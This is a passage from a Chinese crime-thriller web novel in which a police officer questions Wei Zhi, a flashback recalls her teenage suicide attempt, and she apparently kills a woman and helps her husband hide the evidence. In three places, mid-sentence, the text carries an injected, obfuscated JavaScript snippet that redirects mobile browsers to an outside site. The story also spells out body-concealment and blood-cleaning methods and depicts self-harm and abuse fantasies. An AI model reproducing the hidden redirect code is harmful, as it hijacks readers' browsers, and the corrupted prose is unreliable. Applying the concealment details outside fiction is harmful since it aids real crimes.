围墙内的空地上,杂草肆意生长,半人高的它们像是荒野中的一片绿色海洋,随风轻轻摇曳,偶尔有几株高大的芦苇在其中鹤立鸡群,细长的叶子在微风中沙沙作响。草丛间散落着一些废弃的建筑材料:断裂的砖块、生锈的钉子和破旧的安全帽。 五层的烂尾楼沉默不语,像是一座未完成的纪念碑。水泥色的身躯上,钢筋如铁锈色的荆棘般裸露在外,向着天空伸展。楼层之间的窗口空洞无物,仿佛一只只被掏空的眼睛,直直地望向远方。 他慢慢走入烂尾楼中,空旷的一楼除了支撑的立柱以外,只有零星的塑料垃圾。他一层一层地走上楼梯,直至走上第五层天台。 张开阳站在天台边缘,再次环视烂尾楼四周景象。 四周听不见人的喧嚣,远处城市边缘传来的模糊噪音,远得像是另一个世界。午后最刺目的阳光穿破灰色的云层洒下,只在草尖上留下些许光亮,转瞬即逝,很快又被大楼的阴影吞噬。 他眺望着远处的城景,忽然意识到,在之前的调查中,魏芷和梅满的生活轨迹无法交汇,是因为她们常驻的地点都离彼此太远,但如果是以这栋烂尾楼为起点,无论是到江都美院还是魏家,都只需要二十分钟的步行时间。 在全国联网的所有慈善机构中,他都没有找到魏芷的备案数据。 梅满对她的资助,一定是没有经过正规机构的。一个生活在城东,一个生活在城北的两个人,是如何交汇的? 答案或许就在这栋楼中。 他对烂尾楼拍了些照,然后就坐在建筑的阴影中等待。下午三点整,他靠着冰冷坚硬的水泥石壁,听到了清晰的脚步回荡在楼道之间的声音。 张开阳站起身来,目光望着楼梯的出口,直到那里终于出现了魏芷的身影。 她依旧是往常的样子,黑发自然披散于肩,简洁朴素的衣着,那张象征着纯洁与柔弱无害的素颜上,一双乌黑的眸子静静地迎接着他的注视。 他曾以为那是一双令人心生保护欲的鹿眼。 但他忘了,海豚眼也同样温顺□□。 魏芷走到天台边缘,目光从楼下一扫而过,无论是丛生的杂草还是地上映照着灰色天空的水泊,一切都使她感到怀念。秋风吹拂着她过肩的长发,黑发与黑眸交叠,融汇成更深的黑暗。 “我是以外出采购为由出门的,时间不多,你想问什么就问吧。”她漫不经心道。 “这个地方对你有什么特殊意义?” “没意义,我只是想选一个避人耳目的地方。”她说,“毕竟,如果被我丈夫知道我私下和警察见面,我会很难解释清楚。” 张开阳沉默片刻:“你和翁秀越究竟在策划什么?” 魏芷噗嗤一声笑了:“……你还真想问什么问什么啊。” 张开阳自认这是一个严肃的话题,他没有参与魏芷的调侃,沉默地望着她。 “看样子,你已经知道田心姐的真实身份了。我也是最近才知道,她就是梅满的母亲翁秀越的。”魏芷说,“她想做的,无非就是让季琪琨受到法律的惩戒,所以她找上已经和季琪琨结婚的我,希望我拿到季琪琨婚内施虐的证据。” 她顿了顿,露出讽刺的笑容,又补充了一句: “梅满受到虐待,却因为不是家庭成员而让季琪琨逃脱法律惩罚,这件事已经成为了翁秀越的执念。” “你同意了?”张开阳问。 “我一开始同意了,但后来,我拒绝了她。所以她现在打算做什么,我是真的一无所知。” “中途你为什么改变主意了?” “答应她才是我一时鬼迷心窍吧?”魏芷反问,“张警官,季琪琨从前就算有过不对的地方,但他已经改变了,我为什么要帮着外人对付自己的丈夫?” “因为你也要帮梅满报仇。”张开阳定定地看着她的眼睛,想要捕捉其中任何微小的情绪变化。 然而,没有。什么都没有。 那双黑色的眼眸里,只有他故作笃定的面容。 “……什么年代了,张警官。复仇?”魏芷像是听见了不可思议的笑话,轻轻笑了一声,“翁秀越对我来说是个陌生人,难道梅满就不是吗?” “我已经知道梅满常年资助你,就连你大一的学费,也是她在跳楼的一天前转到你的卡上。你们之间,一定不是陌生人的关系。” “那又怎么样?” “什么……”魏芷理直气壮的问题,让张开阳也不禁一愣。 “我说,她资助过我,那又怎么样?”魏芷说,“她资助过我,我很感激她。但她已经死了,就算我逢年过节想提点礼品上门感谢,她也不在了。除此以外,对一个资助过我的人,我还需要做什么?” “你想说的,不会是复仇吧?你觉得这现实吗?张警官。她是资助过我,但她也只是资助过我。” 魏芷的笑容里带着嘲讽。 “你在应聘到OCEAN艺术中心的时候,知道季琪琨就是梅满的前男友吗?”张开阳问。 “不知道。”她说,“是后来季琪琨主动告诉我,我才知道的。” “难道你就一点都不在意?自己的男朋友,是资助人的前男友——” “在意这个有用吗?”魏芷不客气地打断他,“在意这个,就能解决我的债务问题吗?在意这个,就能让我摆脱我的原生家庭吗?你说的这些都是无用的空话,而季琪琨,是真真正正改变了我的生活。” “他拯救了我。”她断然道。 张开阳的喉咙里像是堵了千斤重物。 她在说谎,他知道这一点,但他却无法反驳她的谎言。因为谎言本身是无罪的,在实际伤害造成之前,除了倾听她的谎言,从中找到万分之一的真意以外,他什么都做不了。 “……这是你自己的想法,还是季琪琨强加给你的想法?” “我做的一切决定,都出于我个人的意志。” 她的目光中夹杂着一种难以言喻的力量,这目光既不躲闪也不带畏惧,即使是在最黑暗的时刻,也像是一盏永不熄灭的灯塔,散发着不容置疑的决心。 唯有这一句话,是由心而发。他终于确信,她应聘OCEAN艺术中心,成为季琪琨的女友直至妻子,每一步都是在遵从自己的意愿。 “张警官,你是个好警察,所以我今天才会答应来见你。但同时,这也是我最后一次私下见你。”魏芷说,“如果以后还有什么事,我只接受警方的传唤。” 她脸上那种仿佛和朋友谈笑风生的随意收了起来,取而代之的是平静和疏离。 说完之后,她也不在乎张开阳的反应,自顾自地转身往楼下走去。 啪嗒,啪嗒,啪嗒—— 她的脚步声回荡在空无一人的烂尾楼里。 咔嚓,咔嚓,咔嚓—— 梅满按了好几下打火机,浅橘色的火焰才姗姗来迟。她小心翼翼地将火机凑近蛋糕上的蜡烛,火焰逐渐转移到十六根彩色的蜡烛上,整个六寸蛋糕周边一圈,都摇曳着温暖的火焰。 小小的火焰照亮了昏暗的烂尾楼,这里不再阴森,不再冷寂,温暖的烛光以微弱之身,温暖了整座空旷冰冷的大楼。 “我们来打个赌,看你能不能一口气吹灭!”梅满端起蛋糕,满脸笑容地对戴着纸皇冠的她说道。 她深吸一口气,然后用力吹出,十六根蜡烛接连熄灭了火焰。 “哇!好厉害!” 梅满的笑容更加明媚温暖,那种像是面对易碎物品珍惜小心的态度,让魏芷心中不住发酸。她从未被如此对待过。她没有接过梅满手中的蛋糕,而是控制不住地,将脸埋在双手之中流起了泪。 她听到了蛋糕被放下的声音,然后一个温柔的怀抱轻轻搂住了她,一只细腻温暖的手,慢慢地拍着她的后背。 梅满什么都没说,但魏芷的眼泪流得更加汹涌。 那一天是她的十六岁生日,两个小时前,她刚刚被梅满从天台边缘拖了下来。 “活着究竟是为了什么?” 不知从什么时候起,这个念头就时时回荡在她的脑海中。 人有活着的权力,是否也有放弃活着的权力? 当生命只剩下无尽的痛苦和压抑时,苦熬的意义究竟是为了什么?为了自己?还是为了那些说着“自杀是不负责任行为”的看客? 那天是她的生日,王琳给她煮了长寿面,还买了麦当劳回来给姐弟俩吃。 一个小小的麦辣鸡翅套餐,她和弟弟一起分享,王琳一口没有吃,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她拼命拍打着门扉,门却始终没有打开。就连对门魏来的房间,也纹丝不动地紧闭着,寂静的门扉替它的主人传递出恐惧和不安,以及关上门就一切消失的自欺欺人。 她哭累了,心也累了。 她的幸福是海面上脆弱的泡沫,只为了映衬随后而来的绝望而显现,乍现即逝后,就会被更为剧烈的痛楚所击碎。 她知道明天之后,太阳照常升起,一切又会重归日常。 王琳习惯了,魏来习惯了,她却始终无法习惯。快乐越来越少,幸福消失不见,唯一能感受到的痛苦像是涨潮的潮水,一刻不停地拍打在她的心上。 她抛下受难的母亲,不顾一切地跑出了魏家。 她埋头奔跑,让喘不上气的痛苦灼烧着心肺,她多么希望那条狗链此刻就在她的手中,她会不受控制地狠狠鞭挞着自己的身体,让皮肤绽裂,血液流淌。她多么憎恨这个世界,多么憎恨懦弱的母亲和暴躁的父亲,以及软弱的弟弟。但她最恨的,还是自己。 无能为力的自己。 回过神来,她已经来到一条偏僻的小路,只有水泥外墙的烂尾楼像一头潜伏在黑暗中的怪物,等着吞噬新鲜的猎物。 她出神地看着蓝色外墙上方透出的天台,许久后,推开虚掩的小门走了进去。 她像是着了魔似的,一步步踏上了五楼的天台。站在开阔的天台边缘,她俯视着夜色中迷蒙的一切,幻想着脚下是柔软的青草,躺下去一切烦恼都会消失。 这个念头使她痴迷。 她踩上高台,在边缘坐了下来,双脚悬空,任由夜风吹拂着她脸上的泪痕。 渐渐的,她越来越平静,那股念头也越发强烈。 就在她下定决心,要往下一跃的时候,她被一双强有力的手从身后抱住,用力拖下了高台。 因为惯性,她和对方跌倒在一起,她不仅闻到了她身上的柑橘调清香,还听到了从她胸口里传出的剧烈心跳声。 竟然会有人因为她的安危而心跳如擂。 就连对方脸上的后怕和怒容,都使她感到不可思议。 那是她们的初次相遇。 打开书房的门,魏芷再一次站在了那幅巨大的画作之前。画布上,天使正在坠落,洁白的羽翼边缘浸染着黑色的烟雾。 画布角落留着画家的签名:“梅”。 她久久地凝视着那个签名。 那一天,本来是和舍友一起吃完宵夜准备回校的梅满,让舍友先行回校,她则留了下来,为魏芷过了一个特别的生日。 十六根闪闪发光的蜡烛,永远留在了她的记忆中。 同样镌刻的,还有她身上温暖的柑橘香气和那双温柔的手。 那是一个和她截然不同的美好存在,曾是她生命中唯一的灿烂和华彩。她包容的双臂,容纳了污浊的她。 她寻死时,焦急愤怒的是她。 她确诊重度抑郁时,悲伤难过的是她。 她忍不住伤害自己时,抚摸着她的伤痕泣不成声的也是她。 她们是如此不同。 为了和她站在相同的地方,她努力挣脱黑暗走向她。 她来到她曾经站着的地方,却发现她已经坠落沼泽。 魏芷望着那幅画,低声呢喃: “我好想你。” “猫咪姐姐。” 45.第 45 章 下午五点,季琪琨在会议中途抽空给魏芷发了信息。 “老婆,晚上有聚餐,我不回来吃饭。你困了先睡,不用等我。” 发完消息后,他转身走回会议室。 “给老婆报备好啦?”坐在原位上手握茶杯的副总经理打趣道。 “是啊,早点说一声,免得她为我准备晚饭。”季琪琨露着温文儒雅的微笑,坐回了自己的座位。 “小季总真是完美先生啊,不光人长得帅,工作能力强,就连爱老婆,也是一骑绝尘,把我们远远抛下啊!” “这爱妻可能是一脉传承,你们看,我们季总也是,这么多年,没见两口子红过脸!这才是工作家庭两手抓,两手硬啊!” “能找到季总这样的老公,季夫人也是三生有幸。”一名上了年纪的女股东叹息道,“只可惜不是每个女人都能遇到小季总这样的好男人。” 恭维声络绎不绝,其中也不乏真心的赞叹。 季琪琨带着谦逊的神情,一一进行回应。 人生如果是个巨大的游乐场,那么季琪琨就在其中有至尊通票,想什么时候玩,就在什么时候玩,想什么时候停下来歇息,就什么时候停下来歇息。 一切都易如反掌。 他热爱着生命,热爱着这座拥有无限惊喜的游乐场。 他深信着,这样的人生还将继续下去。他的至尊通票,还能使用到他生命的最后一刻。 十五分钟过去了,他还没有接到魏芷的回信。 他看着空空如也的通知列表,打开了定位软件。魏芷的定位不在家里,在小区外不到一公里的一条街道上。 他知道那是什么地方,是翁秀越及其帮手用来监视他的监视塔。 会议继续,他将没有息屏的手机放到一旁。 接下来的整整两个小时,定位都没有动过。 会议结束了,众人陆续起身收拾东西,准备接下来前往聚餐地点。季琪琨不得不暂时收起手机,露出得体的微笑回应旁人的话语。 到了聚餐地点后,魏芷仍未回信,她的定位也还停留在那个水站。 季琪琨忍不住拨出了魏芷的电话,他把正在拨出的电话放在桌上,一如往常地与人谈笑风生,只是笑容里多少有些心不在焉,眼神也不禁频频扫向等待接听中的手机。 四十秒后,通话因无人接听而自动挂断。 他再次拨出,自动挂断。再次拨出,自动挂断。再次拨出,自动挂断。 他发给魏芷的消息,也由一开始的“老婆,怎么不回消息也不接电话?”到“?”。 九十三个充满压迫的问号,一个一排,占据了季琪琨和魏芷长长的聊天框。 光线幽暗的水站,卷帘门隔绝了外界的喧嚣和窥探,魏芷将震动不停地手机重新放回兜里,从墙上随手取下一张谭孟彦干活时穿的深蓝色工作围裙。 她将围裙的绑带在身后缓慢而细致地打出一个蝴蝶结,又将过胸的黑发用发绳小心地系好。 接着,她弯腰提起了地上一双肥厚的手臂,握着那染有血迹的手腕,她避开地上的血泊,将其拖行至一旁的大行李箱上。光是将这具庞大的身躯扔进行李箱上,就耗费了大量的力气。 她不得不停下来歇息了一会。 然后才去调整这具身躯的手脚位置,使其能完全蜷缩进这个30寸的行李箱里。 接下来要做的事还有很多,她不能歇息太久。 高档中餐厅里,季琪琨几乎按捺不住想要将手机砸碎的愤怒。 当魏芷的定位从水站终于开始移动的时候,他将之后的事宜交给了副经理,中途退出聚餐。 他厌恶失控的感觉,这会带给他强烈的愤怒。在他踩足油门往回赶的路上,他设想了一百种惩罚魏芷的方法。 让魏芷自扇耳光,让魏芷喝下用开水刚刚冲泡的咖啡,让魏芷在浴缸中憋气,如果她敢擅自冒头,他会用电击器往水中导电。 一切都将由她自己进行。 他会从旁协助指导,使惩罚的严重程度游离在法律之外。 他不会弄脏自己的手,那不优雅,不高明,显得愚蠢。 她会在哭泣和悔恨之中,感受到他炽热的爱,并逐渐皈依,从此以后,将他的每一句话都视为神谕。 十五分钟后,他推开了黑檀色的家门。 家里没有开灯,昏暗的夜色笼罩着寂静无声的大平层,仿佛一个巨大的坟墓。铅灰色的墙壁如同冷硬的墓碑,沉默地矗立在四周。极简的家具像是被遗忘的陪葬品,冰冷而毫无生气。 遍布房间的镜面捕捉着本就微弱的光线,将其撕裂成碎片,映射出无尽的空虚,让房间更加荒凉。 魏芷一动不动地坐在黑色沙发上,窗外夜风推搡着灰色云片,窗内则弥漫着一股不祥的血腥味。 一个大开的行李箱躺在落地窗前,两边箱子里都是已经干涸的暗红色血迹。 “……你做了什么?” 他愕然的话语脱口而出,如即将爆发的火山般难以抑制的愤怒,瞬间沉入了海底。 一种不祥的预感,从他胸口里喷涌而出。 “魏芷,你干了什么?”他又问。 他缓缓走向魏芷,心中充满了不安。急促的呼吸暴露了他内心的恐慌,尽管他极力掩饰。 她面部对着他的方向,但瞳孔却没有聚焦,神智似乎正在某个遥远的地方徜徉。顺着那张白皙的面颊向下,他看到了她满是鲜血的手。 他后退了一大步,再也抑制不了脸上的慌张。 季琪琨掏出手机,一边往门口退一边决定报警。 这一切都跟他无关,他刚刚才回到家,除了门把没有触碰任何东西。他是安全的,他必须报警。 就在这时,一个幽魂般的声音飘荡在宽阔的房间里。 “翁秀越不会再来打扰我们的幸福了。” 他震惊地看着她。 魏芷慢慢地站了起来,她站在逆光中,模糊不清的面孔像是被黑色的墨水涂抹过似的。她一步一步地,吞掉了季琪琨先前的后退,片刻之后,就站到了他的面前。 直到后背抵上冰冷的大门,季琪琨才意识到自己仍在后退。 “我听你的,解决掉了那个烦人的女人。” 魏芷靠上他的胸膛,黑色的发丝在他洁白的衬衫上留下淡淡的红,鲜血斑驳的双手,环住他的腰,在昂贵的西装上留下蛇行的痕迹。 “只要是你的命令,我什么都愿意做。”她将耳朵贴在他的胸上,倾听着那颗心脏恐惧的狂叫,轻柔而甜蜜地说道,“因为我爱你,我比世上任何人都爱你。” 季琪琨的喉咙里发出一阵干涩的声响,他努力保持镇静,但内心的惊恐已如野兽般狂奔,无法抑制。 他的手颤抖着,试图拨打报警电话,手指在屏幕上笨拙地滑动,仿佛失去了知觉。 “我没有叫你杀掉翁秀越……我没有提过这样的要求……” “你叫我让她消失,我做到了。”她带着一丝嗔怒说,“我说了好多次,之前的意外和我没关系,可你都不信。你要我杀她,我就只能硬着头皮杀了。” 季琪琨紧紧贴着身后的门,想要从魏芷的身体里逃脱出来,但他动弹不得,只有喉咙里发出艰难的吞咽声。 “不过你放心,我也不傻。”魏芷说,“我把人杀掉后,用保鲜膜和活性炭将她包了十几层。这样一时半会外边都不会闻到腐化的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832113|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭味。” “你把尸体藏在家里?”他的眼前几乎发黑。 “怎么可能?” 魏芷的话刚让他跳到喉咙口的心落了回去,又在落下的中途,被一只纤瘦的手紧紧握住,直接攥出了喉咙。 “我把尸体藏在了你给我的那辆车的后备箱里。”她笑道。 季琪琨的胸口连带着喉咙都隐隐作痛,他的牙齿尝到了舌尖的血腥味。 他深吸一口气,强迫自己冷静下来。一定是个骗局,一定是魏芷的谎言。她不可能这么愚蠢地将翁秀越杀害。一定有诈,一定是—— 魏芷从他胸前抬起头来,露出了少女般天真中又带着一丝骄傲的神情:“车子就在地库,你想去看吗?” 一定是骗局。 这根本不可能。 以魏芷的聪明才智,怎么可能以这么拙劣的手法去杀人? 除非,那三起意外真的是意外。 真的是意外吗? 世上会有接连发生三起的意外吗? 地库中,一扇电子卷帘门缓缓升起。那辆黑色的奔驰S和季琪琨的黑色添越并排在一起。就在几分钟前,他将添越停在奔驰旁边的时候,怎么也没想到,奔驰的后备箱里会有一具尸体。 他站在打开的后备箱前,看着其中被保鲜膜和活性炭层层包裹起来的那个人形,内心的两个声音在互相冲撞。 那是一块庞大的,勉强能够看出人形的物体。厚厚的保鲜膜和活性炭遮挡了大部分身影。从保鲜膜缝隙里漏出的油腻黑发,能够看到翁秀越的影子。 他不信。 心中的其中一个声音大声叫嚣这一定是某种骗局,说不定是魏芷又一次和翁秀越联合了起来,因为魏芷不可能做出如此愚蠢的行为。 他顺着这个声音,伸出颤抖的手,慢慢拨开保鲜膜。 魏芷没有制止他。 保鲜膜一层一层地揭开小口,他看见了包裹在保鲜膜和活性炭之中,那张鲜血淋漓的脸和头上皮开肉绽的伤口。 没有任何化妆技术能造出如此逼真的伤口。 只一眼,他就猛地缩回了手,尸体的冰凉似乎透过沾染着鲜血的保鲜膜传递到他的皮肤上。 魏芷像是邀功似的,特意说道:“尸体僵硬之后就不好处理了,所以我没等你,先把事情做好了。” 车库的地上散落着没用完的活性炭和大卷保鲜膜,显然“处理”尸体的场所就在这里。 他想吐,想大声嘶吼,但最终,他只是从喉咙里挤出沙哑的一句: “……为什么……” 他的话语并不完整,但魏芷知道他想问什么。 为什么没有毁尸灭迹,仍把尸体留在这里。 “为了给你看啊。”魏芷脸上的笑容带着克服困难后的轻松和惬意,“不然,你怎么会相信我真的为你杀了人。” 强烈的恐惧和慌张激发了身体的反应,季琪琨逃避了眼前触目惊心的一切,转过身扶着车库的石柱,发出了干呕的声音。 那张永远挺直的背脊弯了下来,正在服帖的西装外套下醒目地战栗。 他会是杀人主使吗? 不,没有任何证据能证明是他指使的。 但魏芷的指认,一定会在社会上引发轩然大波。季钟永不会再给他第三次机会了。 保鲜膜和活性炭上已经留下他的指纹,警方会相信他一无所知的辩驳吗? 他的游乐园在前所未有的地震中摇摇欲坠。 报警,还是不报? 就在这时,两人都下意识抬头往车库出口看去。 刺耳的警笛声穿破了寂静,从远处的街道上响起,向着这里—— 飞速接近。 46.第 46 章 沉重的夜幕如同一幅黑灰色帷幕,从上而下地压迫着城市,吞噬了云层中的最后一丝光线。 天幕之下的世界被庞大的摩天大楼所遮蔽,街道如同一片黑暗的脉络,充满了模糊的交通喧嚣,马路对面,那家总是一扇紧闭的卷帘门示人的水站孤独地伫立着,其狭小的身形被整齐停放的警车所遮挡。 警灯投射出闪烁的光芒,空气中弥漫着紧张的氛围。 几名身穿警服的男民警正在警戒线外大声驱散围观的人群,而一旁,一名年轻的女民警正耐心地向附近的居民询问情况。半开的卷帘门和无数的水桶隔断了大部分好事的目光。 水站二楼,狭窄的空间里同时容纳了三名正在做初步勘察的民警。 张开阳正是其中之一,他隔着手套拿在手中的是一根透析用的管子,管子上也沾染着零星血迹。除开地面和物品上的血迹,最让他在意的就是这套自制的透析仪器。 十分钟前,大山关派出所接到匿名报警电话,称水站里发生了命案。不待接警员继续询问,电话就被对方挂断了。 吱嘎吱嘎的声音从楼梯上响起,是老吴赶到了。 他穿着鞋套,小心避开脚下的杂物,站到了张开阳身边。 “情况怎么样了?” “没有发现受害人,只有一些血迹。从位置和分布来看,无法判断这里是否发生了搏斗。”张开阳说,“所里联系上报警人了吗?” “报警人是用路边的公用电话报的警。”老吴摇了摇头,“我已经联系刑侦大队了,你把目前为止的情报整理一下,等会一起转交给他们。” 如果真的发生了命案,以派出所里的技术手段,很难掌握有用的线索。指纹提取、DNA提取,这些都是刑事侦查的范畴。派出所,只能做现场保护的工作。 接下来,小小的水站更加拥挤热闹。所有民警都退到了水站外,只留下刑侦大队的人在里面调查取证。 水站的主人也在这时匆忙赶到了现场,张开阳将其带到警车上隔离开来,单独询问。 然而,水站的主人对水站里发生的事情一无所知,早在一年前,他就将水站长期转租给了一个年轻男人,按年来给付租金。 “你知不知道水站长期闭门停业的事情?” “我不知道啊,我怎么会知道他这一年怎么经营的——警官大人,你说,他按合同每年先付我钱就行了,我管他经营情况干嘛啊?” “合同带来了吗?给我看看。” 水站主人提前想到了这一点,来的时候就带上了转租合同。 然而,那一份合同没有经过任何公证,连身份证复印件都没有,只有单薄的一个签名。 “哎哟,我当时看过身份证了,确实是这个人这个名字,他说不想去复印搞那么麻烦,我就随他去了啊——谁知道后面会发生这种事情啊!”水站主人后悔不迭地说。 张开阳紧皱眉头,手中握着那份合同末尾。在他大拇指的前方,有一个潦草的落款。 “谭孟彦。” 这是一个熟悉的名字。 张开阳当时查遍了OCEAN艺术中心的所有工作人员,只有他和郑田心的资料在户籍档案中无法核实。和郑田心一样,这个名字下面没有任何资产,也没有银行卡,工资用现金结算。 他情不自禁地抬起了头。 透过警车的玻璃窗,他凝视着对面林立的高楼。 黝黑的夜空沉甸甸地压在这座城市之上。四周的窗户像是镶嵌在黑暗中的无数颗琥珀,每一盏灯火都晕染出一片温馨与宁静,在这无数个散发着柔和光芒的矩形之间,有一扇宽阔的大落地窗却漆黑得如同被世界遗忘的角落。 它沉默而孤立,与周围的明亮形成了鲜明的对比,像是一张大口,在这夜晚中无声地吞噬着一切光线。 张开阳直直地凝视着那片黑暗,仿佛看见了暗处偷窥的那双眼睛。 …… 季琪琨僵立于窗前,寒意如冰霜般从脚底悄然攀爬上脊梁。街灯闪烁,红蓝交织的光芒仿佛一双双神秘的眼眸,窥探着这幢沉默的大楼。他的视线模糊地穿透玻璃,凝视着楼下那片混乱的景象,耳边仿佛依然回荡着目睹翁秀越尸体时那剧烈的心跳声。 是报警?还是不报? 这个问题依旧缠绕在他心中,没有得出最佳的答案。而越是随着时间的流逝,留给他选择的空间也就越小。 他已经不是从前那个二十二岁的青年了,他有了更多需要考虑的东西,为此必须牺牲一些乐趣。一直以来,他都平衡得很好,再也没有发生过梅满那样的事情。 他不可能,也绝不会甘愿,在距离集团王座只有一步之遥的地方,跌落悬崖。 咔嚓一声,温暖的昏黄灯光从身后亮起。季琪琨的影子映在玻璃上,虚空中飘来一阵轻快的小调,宛如恶魔的低语,迫使他缓缓转身。 厨房上方的灯开了。 在暖洋洋的灯光下,魏芷身穿一件粉色的围裙,正一边哼歌,一边慢条斯理地切着秋葵。 外面的混乱,似乎丝毫没有影响到她。 她的双手已洗净血迹,但小臂上仍残留着淡淡的绯红。刀锋在砧板上轻快滑动,发出有节奏的“啪嗒”声,秋葵的粘液缓缓沿刀刃滑落,留下黏腻的痕迹。 她是怎么做到这一点的? 无论是季腾还是梅满的时候,季琪琨都是在确定自己不会落网的前提下动手。因为知道自己无懈可击,所以才能在面对任何人的时候,都镇定自若。 魏芷呢? 微微上扬的嘴角,喉咙中轻盈的小调,以及做饭的闲心——她的无惧出自何处? 明知行凶方式粗暴愚蠢,随时可能落网,仍无所畏惧,她的把握是什么? 他的冷静是出于理智,而魏芷的愉悦——那种令他感到毛骨悚然的愉悦—— 是因为她疯了。 她疯了,或许是被逼疯了,也或许从一开始,她就不正常。 季琪琨的手心渗出冷汗,心脏在胸腔中狂跳。他望着刚刚杀掉一个人却反而露出快乐惬意表情的魏芷,无比清楚地察觉到这一点—— 他亲自挑选的妻子,已经成为一颗失控的炸弹。 比起外面那些可以预见的风险,来自身边的威胁更加致命。 冷静下来好好想想,季琪琨在内心说道。 现在最重要的是搞清楚魏芷在这次行动中,有没有留下能让警方追查过来的把柄。翁秀越改头换面成郑田心,连身份都是假的,尸体如今又消失不见,如果她的同伙能做贼心虚不报警,说不定过一段时间,真的能让这件事无疾而终。 “接下来你怎么打算?” 他来到了中岛前方,让冰冷坚硬的大理石中岛作为屏障隔开彼此。季琪琨目不转睛地盯着魏芷的表情,想要从中捕捉到一丝一毫的不安和恐惧。 魏芷抬头朝他看来,乌黑的眼眸弯成月牙。 “接下来我还准备炒个肉片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841182|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为时间太赶了,不然我想烧个排骨的。啊,对了,冰箱里还有一颗白菜,也拿出来吃了吧。” “我问的是后备箱里的事情——”季琪琨强压着焦躁,低声说道。 “你不想吃这些?要不我们点个外卖吧。”魏芷笑着说,“你上次点的那家寿司还不错,你再点一次吧。” “魏芷!” “你不想点,那就我点了?”魏芷放下菜刀,作势从围裙兜里拿手机。 对季琪琨来说,这是极其熟悉的一幕,熟悉到荒谬的感觉油然而生。唯一不同的是,这一次他不再是那个掌握主动权的人。 “……我点。”他从喉咙眼里逼出沙哑的声音。 在没有得到想要的答案之前,他必须稳住魏芷。 半小时后,一盘精美的寿司拼盘和一碟热气腾腾的炒秋葵端上了餐桌。 魏芷将一个金枪鱼寿司放进了大张的口中。洁白的牙齿用力咀嚼着柔嫩的鱼肉,脸上露出了幸福的表情。 季琪琨什么也咽不下去。 “把你作案的过程仔细说一遍。” 魏芷一边咽下寿司,一边亲密地说道:“老公,你是在担心事情败露吗?不用怕,我有小心收尾的。” 曾经象征着俯首称臣的“老公”二字,此刻却像鱼刺一样卡在季琪琨的喉咙里,让他咽也咽不下去,吐也吐不出来。 “……你是怎么收尾的?” “我穿了鞋套,也没有留下带血的指纹。”魏芷说,“完事后,我把行李箱轮子滚过的地方也擦了。所有擦血的纸巾我都用箱子带回来冲进了马桶。” “你怎么确定没有人看见你?翁秀越身旁的那个男人呢?” “因为我约的是和翁秀越单独见面,而且走的是水站二楼背面的楼梯离开的。”魏芷的神情中透着得意,“水站正门外的街道上有监控,背面楼梯可以直通小路,小路上没有监控。这些我早就提前调查好了。” “至于谭孟彦,他不会报警的。”魏芷断然说,“他伪造身份证件、非法监听、暴力胁迫——又是尿毒症晚期,报警就是自首,自首就是自杀。” “那后备箱的东西,你怎么处理?”季琪琨问。 “抛尸的地方我也提前选好了,但现在不是时候。”她语气平淡地说,“老公,你怎么不吃?” 季琪琨在脑海中飞速地比较着利弊。 报警,在他几次反对过季钟永对他的分手要求下,就会变成恋爱脑的咎由自取,毫无疑问他会失去季钟永的器重。 更何况,魏芷还见过他电脑里的东西,如果报警,魏芷说不定会报复性地将那些东西宣扬出去,就算警方没有将他视作凶案的指使人,他苦心营造的社会声誉和形象也会遭到毁灭性打击。 同时,他缺乏在看到尸体的第一时间没有报警的有力说辞,这将是他力证无辜时难以翻阅的一座大山。 不报警,则没有目击证人,没有监控记录,没有尸体。 他的心蠢蠢欲动。 “除了谭孟彦,是否有人知道你和翁秀越来往密切?”他问。 “只有张开阳知道。”魏芷说。 不付出任何代价的选择在强烈地诱惑着他。 “你知道怎么处理箱子里的血迹吗?”他问。 魏芷抬起眼来:“用水冲洗?” “家里有双氧水和小苏打吗?” “有。” 季琪琨冷静道: “给我准备。” 47.第 47 章 因为魏芷留在水站的指纹,以及水站大门外的监控此前拍下的魏芷,警方一定会很快找上门来。 接下来的每一秒钟都很宝贵。 当他蹲在主卧的浴室里,把双氧水和小苏打勾兑出简易清洗剂,以为接下来就是魏芷的工作时,魏芷却在身后消失了身影。 他在卧室的床上找到了魏芷,她竟毫无负担地睡着了,床头柜上放着她常用的安眠药和清水。 这是睡觉的时候吗?! 季琪琨气不打一处来,用力推醒了魏芷。 “你别睡了,接下来还要清洗行李箱!” 魏芷从惺忪的睡眼里瞄了他一眼,然后又闭上了眼。 “明天再洗。” “什么明天,明天警察就要上门了!” “不会的,明天再洗。”魏芷用哄小孩的语气,带着她那马上又要坠入睡眠的迷蒙声音说道。 她翻了个身,把被子盖到头顶,背对着瞠目结舌的季琪琨。不一会,他就听到了她均匀的呼吸声再次响起。 她是个疯子—— 为什么之前他从未看清这一点? 季琪琨强压愤怒,转身走回浴室。 